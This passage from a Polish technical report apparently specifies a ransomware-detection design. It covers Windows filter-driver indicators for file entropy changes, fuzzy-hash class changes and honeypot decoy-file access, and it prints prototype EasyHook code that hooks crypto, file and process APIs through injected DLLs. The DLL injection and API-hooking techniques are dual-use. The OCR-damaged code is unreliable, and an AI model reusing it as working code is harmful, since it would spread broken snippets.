losowosci danych.

Nazwa Wartos¢

Nazwa wskaznika Wskaznik zmiany poziomu losowosci

Nazwa projektu Indicator/RandomnessVerifier
Jezyk Do implementac;ji nalezy uzy¢ jezyka programowania:
implementacji e Assembler

e C

o C++
Mechanizmy W ramach implementacji wskaznika nalezy wykorzystaé:
implementacji e Entropie Shannon’a.

e Test Maurera.

e Test monobitowy.

e Filtry sterownikéw systemu Windows2®,

Monitorowane Wskaznik monitorowat bedzie wszystkie procesy uruchomione w systemie
procesy Windows.
Sposob dziatania Wskaznik dziatat bedzie jako filtr sterownikéw, umiejscowiony

bezposrednio nad sterownikiem obstugujagcym system plikdw systemu
Windows albo sterownikiem obstugujagcym dysk twardy. Wskaznik
weryfikowat bedzie zmiany poziomu losowosci podczas prob
zapisu/odczytu danych w pamieci statej. Wskaznik dziatat bedzie w oparciu
o wysytane do sterownikéw komendy IRP1?/, takie jak np.:

e |IRP_MJ_CREATE

e |RP_MJ_CLOSE

e |IRP_MJ_WRITE

e |IRP_MJ_READ
Wskaznik weryfikowat bedzie, czy w wyniku dziatania procesu nie nastgpita
zmiana poziomu losowosci danych pliku.
Dopuszcza sie rozdzielenie funkcjonalnosci wskaznika pomiedzy sterownik
oraz kod pracujacy w trybie uzytkownika. W trybie sterownika wskaznik
bedzie analizowat zadania IRP. W trybie sterownika wskaznik bedzie

126 Filter Drivers, Windows Driver Model, Microsoft, https://learn.microsoft.com/en-us/windows-
hardware/drivers/kernel/filter-drivers, (dostep 04.2023)

127 /O request packets, Windows, Microsoft, https://learn.microsoft.com/en-us/windows-
hardware/drivers/gettingstarted/i-o-request-packets, (dostgp 02.2022)
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dokonywat weryfikacji czy nastgpita zmiana poziomu losowosci. Taka

architektura wskaznika powinna pozytywnie wptyna¢ na szybkosc¢ dziatania

systemu operacyjnego - dzieki zmniejszeniu ilosci przetwarzania w trybie

sterownika.

Sposdb

komunikacji

Wskaznik bedzie komunikowat sie z:

Innymi wskaznikami pracujgcymi w systemie.

Mechanizmem monitorowania.

Dane wysytane do

innych wskaznikéw

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.
Dane typu heartbeat — wysytane w regularnych odstepach
czasowych.

Dane ostrzegawcze — jezeli nastgpi istotna zmiana poziomu

losowosci.
Dane ostrzegawcze zwigzane zinnymi wskaznikami — np.
informacje, gdy inny zarejestrowany w systemie wskaznik

przestanie wysytaé¢ poprawne dane typu heartbeat.

Dane wysytane do
mechanizmu

monitorowania

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysytane w regularnych odstepach
czasowych.

Dane ostrzegawcze — jezeli nastgpi istotna zmiana poziomu
losowosci.

Dane ostrzegawcze wskaznikami - np.
gdy
przestanie wysytaé poprawne dane typu heartbeat.

zwigzane zinnymi

informacje, inny zarejestrowany w systemie wskaznik

Poziom weryfikacji
pozytywnej

Nie nastgpita istotna zmiana poziomu losowosci.

Poziom weryfikacji

Nastgpita zmiana poziomu losowosci danych w pliku — nastgpit

negatywnej istotny wzrost poziomu losowosci danych.

Poziom e Nastgpita zmiana poziomu losowosci danych w pliku — nastgpit

ostrzegawczy wzrost poziomu losowosci danych.

Parametry e |dentyfikator.

konfiguracyjne e \Wartosci zwigzane z heartbeat.

wskaznika e Wartoéci zwigzane zmechanizmem  komunikacji miedzy
wskaznikami.

Wartosci zwigzane z mechanizmem komunikacji z mechanizmem

monitorujgcym.
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IX.7.1 Wskaznik zmian klasy abstrakcji

Ponizsza tabela prezentuje podstawowa specyfikacje techniczng wskaznika zamian klas

abstrakcji.

Nazwa

Wartos¢

Nazwa wskaznika

Wskaznik zmiany klasy abstrakcji

Nazwa projektu

Indicator/ClassificationVerifier

Jezyk

implementacji

Do implementacji nalezy uzy¢ jezyka programowania:
e Assembler
e C

o C++

Mechanizmy

implementacji

W ramach implementacji wskaznika nalezy wykorzystaé:
e Algorytm Nilsimsa.
e Algorytm TLSH.
e Algorytm SSDEEP.
e Algorytm LZJD.

e Filtry sterownikow systemu Windows.

Monitorowane

procesy

Wskaznik monitorowat bedzie wszystkie procesy uruchomione w systemie

Windows.

Sposdb dziatania

Wskaznik dziatat bedzie jako filtr sterownikéw, umiejscowiony
bezposrednio nad sterownikiem obstugujagcym system plikdw systemu
Windows albo sterownikiem obstugujagcym dysk twardy. Wskaznik
weryfikowat bedzie zmiany poziomu losowosci podczas prob
zapisu/odczytu danych w pamieci statej. Wskaznik dziatat bedzie w oparciu
o wysytane do sterownikow komendy IRP, takie jak np.:

e |IRP_MJ_CREATE

e |RP_MJ_CLOSE

e |IRP_MJ_WRITE

e |IRP_MJ_READ
Wskaznik weryfikowat bedzie, czy w wyniku dziatania procesu nie nastgpita
zmiana klasy abstrakcji (kategorii - bucket), do ktérej nalezg dane.
Dopuszcza sie rozdzielenie funkcjonalnosci wskaznika pomiedzy sterownik
oraz kod pracujacy w trybie uzytkownika. W trybie sterownika wskaznik
bedzie analizowat zadania IRP. W trybie sterownika wskaznik bedzie

dokonywat weryfikacji czy nastgpita zmiana klasy abstrakcji. Taka
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architektura wskaznika powinna pozytywnie wptyna¢ na szybkosc¢ dziatania

systemu operacyjnego - dzieki zmniejszeniu ilosci przetwarzania w trybie

sterownika.

Sposéb

komunikacji

Wskaznik bedzie komunikowat sie z:

Innymi wskaznikami pracujgcymi w systemie.

Mechanizmem monitorowania.

Dane wysytane do

innych wskaznikéw

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysytane w regularnych odstepach
czasowych.

Dane ostrzegawcze — jezeli nastgpi zmiana klasy abstrakgji.

Dane ostrzegawcze
gdy
przestanie wysytaé poprawne dane typu heartbeat.

zwigzane zinnymi wskaznikami - np.

informacje, inny zarejestrowany w systemie wskaznik

Dane wysytane do
mechanizmu

monitorowania

Wskaznik wysytat bedzie do innych wskaznikéw:

Dane identyfikacyjne.

Dane typu heartbeat — wysytane w regularnych odstepach
czasowych.

Dane ostrzegawcze — jezeli nastgpi zmiana klasy abstrakgji.

Dane ostrzegawcze
gdy
przestanie wysytaé poprawne dane typu heartbeat.

zwigzane zinnymi wskaznikami - np.

informacje, inny zarejestrowany w systemie wskaznik

Poziom weryfikacji
pozytywnej

Nie nastgpita zmiana klasy abstrakgji.

Poziom weryfikacji

Nastgpita zmiana klasy abstrakcji i poziom réznic pomiedzy danymi

negatywnej oryginalnymi oraz zmodyfikowanym okres$lony zostat jako istotny.

Poziom e Nastgpita zmiana klasy abstrakgji.

ostrzegawczy

Parametry e |dentyfikator.

konfiguracyjne e \Wartosci zwigzane z heartbeat.

wskaznika e Wartoéci zwigzane zmechanizmem  komunikacji miedzy
wskaznikami.

Wartosci zwigzane z mechanizmem komunikacji z mechanizmem

monitorujgcym.
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IX.7.2 Wskaznik dostepu do putapek honeypot

Ponizsza tabela prezentuje podstawowg specyfikacje techniczng wskaznika dostepu do

putapek honeypot.

Nazwa

Wartos¢

Nazwa wskaznika

Wskaznik dostepu do putapek

Nazwa projektu

Indicator/HoneypotAccess

Jezyk

implementacji

Do implementacji nalezy uzy¢ jezyka programowania:
e Assembler
e C

o C++

Mechanizmy

implementacji

W ramach implementacji wskaznika nalezy wykorzystaé:

e Filtry sterownikow systemu Windows.

Monitorowane

procesy

Wskaznik monitorowat bedzie wszystkie procesy uruchomione w systemie

Windows.

Sposdb dziatania

Wskaznik dziatat bedzie jako filtr sterownikdéw, ktory weryfikowat bedzie
proby dostepu do danych putapek umieszczonych w pamieci statej.
Wskaznik dziatat bedzie jako filtr wysokiego poziomu, zlokalizowany nad
systemem plikéw. Dodatkowo (albo alternatywnie) wskaznik dziatat bedzie
jako filtr niskiego poziomu, zlokalizowany bezposrednio nad sterownikiem
do urzadzenia dyskowego.
Wskaznik dziatat bedzie w oparciu o wysytane do sterownikéw komendy
IRP, takie jak np.:

e |IRP_MJ_CREATE

e |RP_MJ_CLOSE

e |IRP_MJ_READ
Wskaznik weryfikowat bedzie, czy w wyniku dziatania procesu nie nastgpita

proba dostepu do danych plikow putapek.

Sposéb

komunikacji

Wskaznik bedzie komunikowat sie z:
e Innymi wskaznikami pracujgcymi w systemie.

e Mechanizmem monitorowania.

Dane wysytane do

innych wskaznikéw

Wskaznik wysytat bedzie do innych wskaznikéw:
e Dane identyfikacyjne.
e Dane typu heartbeat — wysytane wregularnych odstepach
czasowych.

e Dane ostrzegawcze - do

jezeli nastgpity proby dostepu

monitorowanych plikéw putapek (decoy files).
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e Dane ostrzegawcze

gdy
przestanie wysytaé poprawne dane typu heartbeat.

zwigzane zinnymi wskaznikami - np.

informacje, inny zarejestrowany w systemie wskaznik

Dane wysytane do
mechanizmu

monitorowania

Wskaznik wysytat bedzie do innych wskaznikéw:
e Dane identyfikacyjne.
e Dane typu heartbeat — wysytane wregularnych odstepach
czasowych.

e Dane ostrzegawcze — jezeli nastgpity proby dostepu do
monitorowanych plikdw putapek (decoy files).

e Dane ostrzegawcze

gdy

przestanie wysytaé¢ poprawne dane typu heartbeat.

zwigzane zinnymi wskaznikami - np.

informacje, inny zarejestrowany w systemie wskaznik

Poziom weryfikacji

e Brak préb dostepu do plikéw putapek (decoy files).

pozytywnej

Poziom weryfikacji e Wykryto préby dostepu do plikéw putapek (decoy files).

negatywnej

Parametry e |dentyfikator.

konfiguracyjne e Wartosci zwigzane z heartbeat.

wskaznika e Wartoéci zwigzane zmechanizmem  komunikacji miedzy
wskaznikami.

e Wartosci zwigzane z mechanizmem komunikacji z mechanizmem

monitorujgcym.

IX.7.3 Wskaznik zmian putapek honeypot

Ponizsza tabela prezentuje podstawowa specyfikacje techniczng wskaznika zmian putapek

honeypot.

Nazwa

Wartos¢

Nazwa wskaznika

Wskaznik zmian putapek

Nazwa projektu

Indicator/HoneypotChange

Jezyk

implementacji

Do implementacji nalezy uzy¢ jezyka programowania:
e Assembler
e C

o C++

Mechanizmy

implementacji

W ramach implementacji wskaznika nalezy wykorzystaé:
e Filtry sterownikow wysokiego poziomu

e Filtry sterownikow niskiego poziomu.
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Monitorowane

procesy

Wskaznik monitorowat bedzie wszystkie procesy uruchomione w systemie

Windows.

Sposdb dziatania

Wskaznik dziatat bedzie jako filtr sterownikéw, ktory weryfikowat bedzie
proby zmian danych putapek umieszczonych w pamieci statej. Wskaznik
dziatat bedzie jako filtr wysokiego poziomu, zlokalizowany nad systemem
plikdw. Dodatkowo (albo alternatywnie) wskaznik dziatat bedzie jako filtr
niskiego poziomu, zlokalizowany bezposrednio nad sterownikiem do
urzadzenia dyskowego.
Wskaznik dziatat bedzie w oparciu o wysytane do sterownikéw komendy
IRP, takie jak np.:

e |IRP_MJ_CREATE

e |RP_MJ_CLOSE

e |IRP_MJ_WRITE
Wskaznik weryfikowat bedzie, czy w wyniku dziatania procesu nie nastgpita
proba zmiany danych z plikdw putapek.

Sposdb

komunikacji

Wskaznik bedzie komunikowat sie z:

e Filtry sterownikow systemu Windows.

Dane wysytane do

innych wskaznikéw

Wskaznik wysytat bedzie do innych wskaznikéw:
e Dane identyfikacyjne.
e Dane typu heartbeat — wysytane wregularnych odstepach
czasowych.

e Dane ostrzegawcze — jezeli nastgpita préba modyfikacji danych
zapisanych w plikach putapkach (decoy files).

e Dane ostrzegawcze

gdy

przestanie wysytaé¢ poprawne dane typu heartbeat.

zwigzane zinnymi wskaznikami - np.

informacje, inny zarejestrowany w systemie wskaznik

Dane wysytane do
mechanizmu

monitorowania

Wskaznik wysytat bedzie do innych wskaznikéw:
e Dane identyfikacyjne.
e Dane typu heartbeat — wysytane wregularnych odstepach
czasowych.

e Dane ostrzegawcze — jezeli nastgpita préba modyfikacji danych
zapisanych w plikach putapkach (decoy files).

e Dane ostrzegawcze

gdy

przestanie wysytaé poprawne dane typu heartbeat.

zwigzane zinnymi wskaznikami - np.

informacje, inny zarejestrowany w systemie wskaznik

Poziom weryfikacji
pozytywnej

e Brak zmian w danych w plikach putapkach (decoy files).
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Poziom weryfikacji

Wykryto zmiany danych w plikach putapkach (decoy files).

negatywnej

Parametry Identyfikator.

konfiguracyjne Wartosci zwigzane z heartbeat.

wskaznika Wartoéci  zwigzane  z mechanizmem  komunikacji  miedzy

wskaznikami.
Wartosci zwigzane z mechanizmem komunikacji z mechanizmem

monitorujgcym.

240




IX.8 Implementacja wskaznikéw

Prototypowa implementacja wskaznikdw utworzona zostata z wykorzystaniem jezyka
C/C++. Na potrzeby mechanizmu wykrywania powstania nowego procesu w systemie
Windows, jak réwniez na potrzeby wskaznika zmian poziomu losowosci danych, wskaznika
zmian klasy abstrakcji danych, wskaznika dostepu do putapek honeypot oraz wskaznika zmian
putapek honeypot, utworzony zostat filtr sterownikdw wysokiego poziomu. Filtr ten

umieszczony zostat nad sterownikiem systemu plikow.

Wskazniki monitorujgce API systemu Windows uruchamiane sg z poziomu trybu jadra dla
kazdego nowego procesu powstatego w systemie. Kod tych wskaznikdéw jest wstrzykiwany
w postaci biblioteki DLL. Utworzenie APl Hook'éw oraz nadpisanie danych w tablicy IAT
nastepuje z poziomu funkcji DLLMain ze wstrzyknietych bibliotek. Odtego momentu

wskazniki monitorujg wywotania wybranych funkcji APl systemu Windows.

Pozostate wskazniki analizujg dane przekazywane przez utworzony filtr sterownika. Filtr ten
przekazuje do wskaznikéw informacje o okreslonych zdarzeniach w systemie plikéw (na

podstawie analizy przekazywanych przez system zgdan IRP).

Na potrzeby prototypowej implementacji wskaznikdw monitorowania APl wykorzystany
zostat mechanizm EasyHook!?®, Mechanizm ten wykorzystany zostat na potrzeby tworzenia
APl Hook'éw oraz modyfikacji danych w tabeli IAT. Ponizszy kod prezentuje sposdb tworzenia
hook’d6w wykorzystany w implementacjach wskaznikow wykorzystania APl. Poprawne
utworzenie hook’a zmienia sposdéb wywotania danej funkcji z poziomu monitorowanego
procesu — proces, nie majac otym swiadomosci, zamiast wybranej funkcji z APl systemu
Windows wywotuje naszg funkcje. Dzieki temu, wskaznik moze np. dokonac¢ weryfikacji

przekazywanych wartos$ci argumentdéw czy tez dokonaé obliczen statystycznych.

// hook dla CryptAcquireContextW
HOOK_TRACE INFO hHookInfoCryptAcquireContextW = { NULL };
NTSTATUS result = LhInstallHook (
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "CryptAcquireContextW"),
CryptAcquireContextWHook,
NULL,
&hHookInfoCryptAcquireContextW) ;
if (FAILED (result))
{
return -1;

}

// hook dla CryptDestroyKey
HOOK TRACE_ INFO hHookInfoCryptDestroyKey = { NULL };
result = LhInstallHook(

128 EasyHook, https://easyhook.github.io
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GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "CryptDestroyKey"),
CryptDestroyKeyHook,
NULL,
&hHookInfoCryptDestroyKey) ;
if (FAILED (result))
{
return -2;

}

// hook dla CryptDuplicateKey
HOOK_TRACE INFO hHookInfoCryptDuplicateKey = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "CryptDuplicateKey"),
CryptDuplicateKeyHook,
NULL,
&hHookInfoCryptDuplicateKey) ;
if (FAILED (result))
{
return -3;

}

// hook dla CryptEncrypt
HOOK TRACE_INFO hHookInfoCryptEncrypt = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "CryptEncrypt"),
CryptEncryptHook,
NULL,
&hHookInfoCryptEncrypt) ;
if (FAILED (result))
{
return -4;

}

// hook dla CryptExportKey
HOOK TRACE_ INFO hHookInfoCryptExportKey = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "CryptExportKey"),
CryptExportKeyHook,
NULL,
&hHookInfoCryptExportKey) ;
if (FAILED (result))
{
return -5;

}

// hook dla CryptGenKey
HOOK TRACE_ INFO hHookInfoCryptGenKey = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "CryptGenKey"),
CryptGenKeyHook,
NULL,
&hHookInfoCryptGenKey) ;
if (FAILED (result))
{
return -6;

}

// hook dla CryptImportKey
HOOK TRACE_ INFO hHookInfoCryptImportKey = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "CryptImportKey"),
CryptImportKeyHook,
NULL,
&hHookInfoCryptImportKey) ;
if (FAILED (result))
{
return -7;

}

// hook dla CryptReleaseContext
HOOK TRACE INFO hHookInfoCryptReleaseContext = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "CryptReleaseContext"),
CryptReleaseContextHook,
NULL,
&hHookInfoCryptReleaseContext) ;
if (FAILED (result))
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return -8;

}

// hook dla CryptSetKeyParam
HOOK TRACE_ INFO hHookInfoCryptSetKeyParam = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "CryptSetKeyParam"),
CryptSetKeyParamHook,
NULL,
&hHookInfoCryptSetKeyParam) ;
if (FAILED (result))
{

return -9;

Kod zrédtowy 19. Monitorowane przez wskaznik funkcje z API kryptograficznego.

// hook dla CopyFileW

HOOK_TRACE INFO hHookInfoCopyFileW = { NULL };

NTSTATUS result = LhInstallHook (
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "CopyFileW"),
CopyFileWHook,
NULL,
&hHookInfoCopyFileW) ;

if (FAILED (result))

{
return -1;

}

// hook dla CreateFileW
HOOK_TRACE INFO hHookInfoCreateFileW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "CreateFileW"),
CreateFileWHook,
NULL,
&hHookInfoCreateFileW) ;
if (FAILED (result))
{
return -2;

}

// hook dla FindClose
HOOK_TRACE_INFO hHookInfoFindClose = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "FindClose"),
FindCloseHook,
NULL,
&hHookInfoFindClose) ;
if (FAILED (result))
{
return -3;

}

// hook dla FindFirstFileExW
HOOK_TRACE INFO hHookInfoFindFirstFileExW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "FindFirstFileExW"),
FindFirstFileExWHook,
NULL,
&hHookInfoFindFirstFileExW) ;
if (FAILED (result))
{
return -4;

}

// hook dla FindFirstFileW
HOOK_TRACE_INFO hHookInfoFindFirstFileW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "FindFirstFileW"),
FindFirstFileWHook,
NULL,
&hHookInfoFindFirstFileW) ;
if (FAILED (result))
{

return -5;
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// hook dla FindFirstVolumeW
HOOK_TRACE INFO hHookInfoFindFirstVolumeW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "FindFirstVolumeW"),
FindFirstVolumeWHook,
NULL,
&hHookInfoFindFirstVolumeW) ;
if (FAILED (result))
{
return -6;

}

// hook dla FindNextFileW
HOOK_TRACE_INFO hHookInfoFindNextFileW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "FindNextFileW"),
FindNextFileWHook,
NULL,
&hHookInfoFindNextFileW) ;
if (FAILED (result))
{
return -7;

}

// hook dla FindNextVolumeW
HOOK_TRACE INFO hHookInfoFindNextVolumeW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "FindNextVolumeW"),
FindNextVolumeWHook,
NULL,
&hHookInfoFindNextVolumeW) ;
if (FAILED (result))
{
return -8;

}

// hook dla FindVolumeClose
HOOK_TRACE INFO hHookInfoFindVolumeClose = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "FindVolumeClose"),
FindVolumeCloseHook,
NULL,
&hHookInfoFindvVolumeClose) ;
if (FAILED (result))
{
return -9;

}

// hook dla GetFileAttributesW
HOOK_TRACE INFO hHookInfoGetFileAttributesW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetFileAttributesW"),
GetFileAttributesWHook,
NULL,
&hHookInfoGetFileAttributesW) ;
if (FAILED (result))
{

return -10;

// hook dla GetFileSizeEx
HOOK_TRACE INFO hHookInfoGetFileSizeEx = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetFileSizeEx"),
GetFileSizeExHook,
NULL,
&hHookInfoGetFileSizeEx) ;
if (FAILED (result))
{

return -11;

// hook dla GetFileType
HOOK_TRACE INFO hHookInfoGetFileType = { NULL };
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result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetFileType"),
GetFileTypeHook,
NULL,
&hHookInfoGetFileType) ;
if (FAILED (result))
{

return -12;

// hook dla GetVolumeInformationW
HOOK_TRACE INFO hHookInfoGetVolumeInformationW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetVolumeInformationW"),
GetVolumeInformationWHook,
NULL,
&hHookInfoGetVolumeInformationW) ;
if (FAILED (result))
{

return -13;

// hook dla GetVolumePathNamesForVolumeNameW
HOOK TRACE_ INFO hHookInfoGetVolumePathNamesForVolumeNameW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetVolumePathNamesForVolumeNameW"),
GetVolumePathNamesForVolumeNameWHook,
NULL,
&hHookInfoGetVolumePathNamesForVolumeNameW) ;
if (FAILED (result))
{

return -14;

// hook dla MoveFileExW
HOOK_TRACE INFO hHookInfoMoveFileExW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "MoveFileExW"),
MoveFileExWHook,
NULL,
&hHookInfoMoveFileExW) ;
if (FAILED (result))
{

return -15;

// hook dla ReadFile
HOOK_TRACE_INFO hHookInfoReadFile = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "ReadFile"),
ReadFileHook,
NULL,
&hHookInfoReadFile) ;
if (FAILED (result))
{

return -16;

// hook dla SetFileAttributesW
HOOK_TRACE_INFO hHookInfoSetFileAttributesW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "SetFileAttributesW"),
SetFileAttributesWHook,
NULL,
&hHookInfoSetFileAttributesW) ;
if (FAILED (result))
{

return -17;

// hook dla SetFilePointerEx
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HOOK_TRACE INFO hHookInfoSetFilePointerEx = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "SetFilePointerEx”),
SetFilePointerExHook,
NULL,
&hHookInfoSetFilePointerEx) ;
if (FAILED (result))
{

return -18;

// hook dla SetVolumeMountPointW
HOOK_TRACE INFO hHookInfoSetVolumeMountPointW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "SetVolumeMountPointW"),
SetVolumeMountPointWHook,
NULL,
&hHookInfoSetVolumeMountPointW) ;
if (FAILED (result))
{

return -19;

// hook dla WriteFile
HOOK_TRACE_INFO hHookInfoWriteFile = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "WriteFile"),
WriteFileHook,
NULL,
&hHookInfoWriteFile) ;
if (FAILED (result))
{

return -20;

Kod zrédtowy 20. Monitorowane przez wskaznik funkcje z API plikowego.

// hook dla CreateThread
HOOK TRACE_INFO hHookInfoCreateThread = { NULL };
NTSTATUS result = LhInstallHook (
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "CreateThread"),
CreateThreadHook,
NULL,
&hHookInfoCreateThread) ;
if (FAILED (result))
{
return -1;

}

// hook dla ExitProcess
HOOK_TRACE INFO hHookInfoExitProcess = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "ExitProcess"),
ExitProcessHook,
NULL,
&hHookInfoExitProcess) ;
if (FAILED (result))
{
return -2;

}

// hook dla ExitThread
HOOK_TRACE_INFO hHookInfoExitThread = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "ExitThread"),
ExitThreadHook,
NULL,
&hHookInfoExitThread) ;
if (FAILED (result))
{
return -3;

}

// hook dla GetCurrentProcess
HOOK TRACE_ INFO hHookInfoGetCurrentProcess = { NULL };
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result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")),
GetCurrentProcessHook,
NULL,
&hHookInfoGetCurrentProcess) ;
if (FAILED (result))
{
return -4;

}

// hook dla GetCurrentProcessId
HOOK_TRACE_INFO hHookInfoGetCurrentProcessId = { NULL
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")),
GetCurrentProcessIdHook,
NULL,
&hHookInfoGetCurrentProcessId) ;
if (FAILED (result))
{
return -5;

}

// hook dla GetCurrentThread
HOOK TRACE_ INFO hHookInfoGetCurrentThread = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")),
GetCurrentThreadHook,
NULL,
&hHookInfoGetCurrentThread) ;
if (FAILED (result))
{
return -6;

}

// hook dla GetCurrentThreadId
HOOK TRACE_ INFO hHookInfoGetCurrentThreadId = { NULL }
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")),
GetCurrentThreadIdHook,
NULL,
&hHookInfoGetCurrentThreadId) ;
if (FAILED (result))
{
return -7;

}

// hook dla GetExitCodeThread
HOOK_TRACE INFO hHookInfoGetExitCodeThread = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")),
GetExitCodeThreadHook,
NULL,
&hHookInfoGetExitCodeThread) ;
if (FAILED (result))
{
return -8;

}

// hook dla GetProcessAffinityMask

"GetCurrentProcess"),

bi

"GetCurrentProcessId"),

"GetCurrentThread"),

’

"GetCurrentThreadId"),

"GetExitCodeThread"),

HOOK_TRACE INFO hHookInfoGetProcessAffinityMask = { NULL };

result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")),
GetProcessAffinityMaskHook,
NULL,
&hHookInfoGetProcessAffinityMask) ;
if (FAILED (result))
{
return -9;

}

// hook dla GetProcessHeap
HOOK_TRACE_INFO hHookInfoGetFileAttributesW = { NULL }
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")),
GetProcessHeapHook,
NULL,
&hHookInfoGetProcessHeap) ;

"GetProcessAffinityMask"),

7

"GetProcessHeap"),
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if (FAILED(result))
{

return -10;

// hook dla GetThreadContext
HOOK TRACE_ INFO hHookInfoGetThreadContext = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetThreadContext"),
GetThreadContextHook,
NULL,
&hHookInfoGetThreadContext) ;
if (FAILED (result))
{

return -11;

// hook dla GetThreadPriority
HOOK_TRACE INFO hHookInfoGetThreadPriority = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetThreadPriority"),
GetThreadPriorityHook,
NULL,
&hHookInfoGetThreadPriority) ;
if (FAILED (result))
{

return -12;

// hook dla GetThreadTimes
HOOK_TRACE INFO hHookInfoGetThreadTimes = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetThreadTimes"),
GetThreadTimesHook,
NULL,
&hHookInfoGetThreadTimes) ;
if (FAILED (result))
{

return -13;

// hook dla OpenProcess
HOOK TRACE_ INFO hHookInfoOpenProcess = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "OpenProcess"),
OpenProcessHook,
NULL,
&hHookInfoOpenProcess) ;
if (FAILED (result))
{

return -14;

// hook dla OpenProcessToken
HOOK TRACE_ INFO hHookInfoOpenProcessToken = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "OpenProcessToken"),
OpenProcessTokenHook,
NULL,
&hHookInfoOpenProcessToken) ;
if (FAILED (result))
{

return -15;

// hook dla Process32FirstW

HOOK_TRACE INFO hHookInfoProcess32FirstW = { NULL };

result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "Process32FirstW"),
Process32FirstWHook,
NULL,
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&hHookInfoProcess32FirstW) ;
if (FAILED (result))
{

return -16;

// hook dla Process32NextW
HOOK_TRACE INFO hHookInfoProcess32NextW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "Process32NextW"),
Process32NextWHook,
NULL,
&hHookInfoProcess32NextW) ;
if (FAILED (result))
{

return -17;

// hook dla SetThreadAffinityMask
HOOK_TRACE INFO hHookInfoSetThreadAffinityMask = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "SetThreadAffinityMask”),
SetThreadAffinityMaskHook,
NULL,
&hHookInfoSetThreadAffinityMask) ;
if (FAILED (result))
{

return -18;

// hook dla SetThreadPriority
HOOK_TRACE INFO hHookInfoSetThreadPriority = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "SetThreadPriority"),
SetThreadPriorityHook,
NULL,
&hHookInfoSetThreadPriority);
if (FAILED (result))
{

return -19;

// hook dla WriteFile
HOOK_TRACE_INFO hHookInfoWriteFile = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "WriteFile"),
WriteFileHook,
NULL,
&hHookInfoWriteFile) ;
if (FAILED (result))
{

return -20;

Kod zrédtowy 21. Monitorowane przez wskaznik funkcje z API plikowego.

// hook dla GetCommandLineW
HOOK_TRACE INFO hHookInfo GetCommandLineW = { NULL };
NTSTATUS result = LhInstallHook (
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetCommandLineW"),
GetCommandLineWHook,
NULL,
&hHookInfoGetCommandLineW) ;
if (FAILED (result))
{
return -1;

}

// hook dla GetComputerNameA

